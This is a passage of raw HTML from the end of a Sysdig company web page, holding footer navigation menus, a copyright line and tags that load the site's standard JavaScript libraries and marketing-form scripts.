	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://partnercentral.sysdig.com/" target="_blank" class="flex align-items-center">Partner Portal</a></li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="not-link menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item"><span>Company</span>
<ul class="sub-menu">
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/about/" class="flex align-items-center">About Us</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/company/leadership/" class="flex align-items-center">Leadership</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/careers/" class="flex align-items-center">Careers</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/newsroom/" class="flex align-items-center">Newsroom</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/contact-us/" class="flex align-items-center">Contact Us</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/legal/" class="flex align-items-center">Legal</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/sitemap/" class="flex align-items-center">Sitemap</a></li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="not-link menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item"><span>Support</span>
<ul class="sub-menu">
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/support/" class="flex align-items-center">Support</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://cx.sysdig.com/s/web-to-case/" target="_blank" class="flex align-items-center">Request Support</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://kb.sysdig.com/" target="_blank" class="flex align-items-center">Knowledgebase</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/company/sysdig-status/" target="_blank" class="flex align-items-center">Sysdig Status</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://docs.sysdig.com/" target="_blank" class="flex align-items-center">Documentation</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/support/customer-success/" class="flex align-items-center">Customer Success</a></li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="not-link menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item"><span>Social</span>
<ul class="sub-menu">
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://twitter.com/sysdig" target="_blank" class="flex align-items-center"><img width="14" height="14" src="https://sysdig.com/wp-content/uploads/twitter.svg" class="menu-item--icon h-auto mr-2.5" alt="" decoding="async" loading="lazy" />Twitter</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://github.com/draios" target="_blank" class="flex align-items-center"><img width="17" height="16" src="https://sysdig.com/wp-content/uploads/github.svg" class="menu-item--icon h-auto mr-2.5" alt="" decoding="async" loading="lazy" />Github</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://slack.sysdig.com/" target="_blank" class="flex align-items-center"><img width="17" height="17" src="https://sysdig.com/wp-content/uploads/slack.svg" class="menu-item--icon h-auto mr-2.5" alt="" decoding="async" loading="lazy" />Slack</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://www.youtube.com/sysdig" target="_blank" class="flex align-items-center"><img width="17" height="14" src="https://sysdig.com/wp-content/uploads/youtube.svg" class="menu-item--icon h-auto mr-2.5" alt="" decoding="async" loading="lazy" />Youtube</a></li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="https://www.linkedin.com/company/sysdig/" target="_blank" class="flex align-items-center"><img width="15" height="15" src="https://sysdig.com/wp-content/uploads/linkedin.svg" class="menu-item--icon h-auto mr-2.5" alt="" decoding="async" loading="lazy" />LinkedIn</a></li>
</ul>
</li>
</ul>                    <hr class="border-primary md:mt-10" />
                    </div>
                </div>
            </div>
        </div>

    
    <div class="c-site-footer__bottom py-8 md:py-8 pb-24 md:pb-32">
        <div class="o-container container">
            <div class="row">
                <div class="col-12">
                    <div class="md:grid grid-cols-5 gap-5 items-center">
                        <div class="w-24 lg:col-span-2 mb-8 md:mb-0">
                            <img width="154" height="46" src="https://sysdig.com/wp-content/uploads/sysdig-logo-new-white.svg" class="attachment-full size-full" alt="" decoding="async" loading="lazy" />                        </div>
                        <div class="md:col-span-4 lg:col-span-3 md:flex">
                            <ul id="menu-footer-bottom" class="navbar-nav inline-flex flex-col md:flex-row flex-grow justify-between gap-4"><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="not-link menu-item menu-item-type-custom menu-item-object-custom nav-item"><span>® Copyright 2024 Sysdig, Inc.</span></li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/legal/privacy-policy/" class="flex align-items-center">Privacy Policy</a></li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/legal/subprocessors/" class="flex align-items-center">Subprocessors</a></li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="menu-item menu-item-type-custom menu-item-object-custom nav-item"><a href="/legal/trust-center/" class="flex align-items-center">Trust Center</a></li>
</ul>                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

</footer>

</div><!-- #page --><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="https://sysdig.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/public/scripts/slick.min.js?ver=1.8.1" id="slick-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/assets/scripts/vendor/popper.min.js?ver=6.4.3" id="popper-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/assets/scripts/vendor/bootstrap.min.js?ver=4.0.0" id="sysdig-bootstrap-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/assets/scripts/vendor/ekko-lightbox.min.js?ver=20220602-1330" id="ekko-lightbox-js"></script>
<script type="text/javascript" id="v4-sysdig-main-js-extra">
/* <![CDATA[ */
var sysdigLocalizedObject = {"ajaxUrl":"https:\/\/sysdig.com\/wp-admin\/admin-ajax.php","rest_url":"https:\/\/sysdig.com\/wp-json\/","nonce":"87fec36990","nonce_chaos":"8c197f4f3d","page_id":"78032"};
/* ]]> */
</script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/public/scripts/main-v4.js?ver=1707271338" id="v4-sysdig-main-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/public/scripts/rddl.js?ver=1707271339" id="v4-sysdig-rddl-js"></script>
<script type="text/javascript" src="https://app.cdn.lookbookhq.com/libraries/overlay/overlay.js?ver=2024-01-29" id="pathfactory-overlay-lib-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/public/scripts/pathfactory-overlay.js?ver=2024-01-29" id="pathfactory-overlay-js"></script>
<script type="text/javascript" src="https://go.sysdig.com/js/forms2/js/forms2.min.js?ver=2023-07-07" id="forms2-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/assets/scripts/dev/lib/teknkl-formsplus-core-1.0.8.js?ver=1.0.8" id="teknkl-formsplus-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/assets/scripts/dev/components/rb-marketo-forms.js?ver=1707271312" id="marketo-forms-js"></script>
<script type="text/javascript" src="https://www.google.com/recaptcha/api.js?render=6LdNcz8cAAAAAJuTxEErvwDxSyMsMZTAgCJqmIov&amp;ver=2022-03-02" id="google-recaptcha-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/public/scripts/components/announcement-bar.js?ver=20230221-1053" id="announcement-bar-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/public/scripts/components/anchors.js?ver=1707271338" id="sysdig-anchors-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/assets/scripts/dev/lib/teknkl-simpledto-2.0.4.js?ver=2.0.4" id="teknkl-simpledto-js"></script>
<script type="text/javascript" src="https://sysdig.com/wp-content/themes/sysdig/assets/scripts/dev/components/dto.js?ver=20231012-1624" id="marketo-dto-js"></script>
	</body> 
</html>
  	
</main><!-- #main --></div><!-- #primary -->